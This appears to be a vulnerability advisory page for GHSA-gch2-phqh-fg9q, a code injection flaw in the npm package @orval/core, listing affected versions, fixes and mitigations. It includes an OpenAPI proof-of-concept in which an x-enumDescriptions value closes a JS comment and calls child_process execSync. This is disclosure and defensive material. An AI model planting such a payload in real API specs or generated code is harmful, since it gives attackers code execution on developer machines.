Orval has Code Injection via unsanitized x-enum-descriptions using JS commentsGHSA-gch2-phqh-fg9q
GHSA-gch2-phqh-fg9q is a Code Injection vulnerability in @orval/core. A fix is available for @orval/core — see the affected versions and patch details below.
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-gch2-phqh-fg9q.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@orval/corenpmDescription
CVE-2026-23947 had an incomplete fix
While the current jsStringEscape function properly handles single quotes ('), double quotes (") and other characters, it fails to sanitize * and / characters. This allows attackers to break out of JavaScript comment blocks using */ sequences and inject arbitrary code into generated files.
Example:
openapi: 3.0.4
info:
title: Enum PoC
version: "1.0.0"
paths:
/ping:
get:
operationId: ping
responses:
"200":
description: ok
content:
application/json:
schema:
$ref: "#/components/schemas/EvilEnum"
components:
schemas:
EvilEnum:
type: string
enum:
- PWNED
x-enumDescriptions:
# "pwned */ }; import('child_process').then(cp => cp.execSync('touch pwned')); const a = { /*"
- "pwned */ }; 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const a = { /*"
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @orval/core | ≥ 7.19.0&&< 7.21.0 | 7.21.0npm install @orval/core@7.21.0 |
| 📦npm | @orval/core | ≥ 8.0.0&&< 8.2.0 | 8.2.0npm install @orval/core@8.2.0 |
Affected Products
orvalorvalDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @orval/core, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @orval/core to 7.21.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gch2-phqh-fg9q is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Frequently Asked Questions
Is GHSA-gch2-phqh-fg9q in your dependencies?
Find it across npm, including transitive dependencies.